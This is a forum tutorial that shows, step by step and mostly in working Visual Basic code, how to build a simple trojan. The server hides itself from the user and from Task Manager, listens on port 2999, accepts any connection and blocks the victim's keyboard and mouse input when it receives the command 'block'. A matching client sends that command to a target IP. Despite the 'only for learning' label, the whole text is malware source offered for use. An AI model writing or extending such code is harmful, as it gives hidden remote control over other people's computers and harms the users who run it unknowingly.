Go4Expert - Simple trojan in vb ..... (only for learning)

Writing a Trojan is a lot easier than most people think. All it really involves is two simple applications both with fewer than 100 lines of code. The first application is the client or the program that one user knows about. The second is the server or the actual “trojan” part. I will now go through what you need for both and some sample code.

Server
The server is the Trojan part of the program. You usually will want this to be as hidden as possible so the average user can’t find it. To do this you start by using

Code: VB

Private Sub Form_Load()
     Me.Visible = False
End Sub

This little bit of code makes the program invisible to the naked eye. Now we all know that the task manager is a little bit peskier. So to get our application hidden from that a little better we make our code look like this.

Code: VB

Private Sub Form_Load()
     Me.Visible = False
     App.TaskVisible = False
End Sub

So now, we have a program that is virtually invisible to the average user, and it only took four lines of code. Now all of you are thinking that this tutorial sucks right about now so lets make it a lot better by adding functions to our Trojan!
The first thing we want to do is make it be able to listen for connections when it loads. So in order to do this we need to add a Winsock Control. I named my control win but you can name yours what ever.

Now to make it listen on port 2999 when the Trojan starts up we make our code look like this.

Code: VB

Private Sub Form_Load()
     Me.Visible = False
     App.TaskVisible = False
     win.LocalPort = 2999
     win.RemotePort = 455
     win.Listen
End Sub

This code will set the local open port to 2999 and the port it sends it to is 455. So now, we have a program that listens but still doesn’t do anything neat. Lets make it block the input of the user completely when we tell it to!

To do this little devious thing we need to add a module with the following code

Public Declare Function BlockInput Lib "user32" (ByVal fBlock As Long) As Long

Then we add this code to our main form:

Code: VB

Private Sub win_ConnectionRequest(ByVal requestID As Long)
     win.Close
     win.Accept requestID
End Sub

Private Sub win_DataArrival(ByVal bytesTotal As Long)
    win.GetData GotDat
    DoActions (GotDat)
End Sub

The code in the module is called a windows API. It uses a dll file to do tasks that we want. Now this code still won’t block the users input but we are very close. We now need to program the DoActions function that we called on our main form. In case you were wondering the code that we added to the form does two different things. The first sub makes it so all connection requests are automatacly accepted. The second sub makes it so all data is automaticly accepted and it then passes all of the data to the function DoActions which we are about to code.

For the DoActions code, we want to make a public function in the module. So add this code to the module and we are about done with the server of the Trojan!

Code: VB

Public Function DoActions(x As String)
     Dim Action
     Select Case x
             Case "block"
             Action = BlockInput(True)
     End Select
End Function

Ok now we have a program that when the data “block” is sent to it on port 2999 it will block the users input. I made a Select Case statement so it is easy to modify this code to your own needs later on. I recommend adding a unblock feature of your own. To do that just call the BlockInput function with the argument False instead of true.

Main Form

Code: VB

Private Sub Form_Load()
     Me.Visible = False
     App.TaskVisible = False
     win.LocalPort = 2999
     win.RemotePort = 455
     win.Listen
End Sub

Private Sub win_ConnectionRequest(ByVal requestID As Long) ' As corrected by Darkness1337
     win.Close
     win.Accept requestID
End Sub

Private Sub win_DataArrival(ByVal bytesTotal As Long)
     win.GetData GotDat
     DoActions (GotDat)
End Sub

Remember to add your winsock control and name it to win if you use this code.

Code: VB

Module

Public Declare Function BlockInput Lib "user32" (ByVal fBlock As Long) As Long                      

Public Function DoActions(x As String)
     Dim Action
     Select Case x
               Case "block"
               Action = BlockInput(True)
     End Select
End Function

That’s all there is to the server side or Trojan part of it. Now on to the Client.

Client

The client will be what you will interact with. You will use it to connect to the remote server (trojan) and send it commands. Since we made a server that accepts the command of “block” lets make a client that sends the command “block”.

Make a form and add a Winsock Control, a text box, and three buttons. The Text box should be named txtIP if you want it to work with this code. In addition, your buttons should be named cmdConnect, cmdBlockInput, and cmdDisconnect. Now lets look at the code we would use to make our Client.

Code: VB

Private Sub cmdConnect_Click()
     IpAddy = txtIp.Text
     Win.Close
     Win.RemotePort = 2999
     Win.RemoteHost = IpAddy
     Win.LocalPort = 9999
     Win.Connect
     cmdConnect.Enabled = False
End Sub

Private Sub cmdDisconnect_Click()
     Win.Close
     cmdConnect.Enabled = True
End Sub
           
Private Sub cmdBlockInput_Click()
     Win.SendData "block"
End Sub

That is the code for the client. All it does is gets the Ip Adress from txtIp and connects to it on remote port 2999. Then when connected you can send the “block” data to block off their input.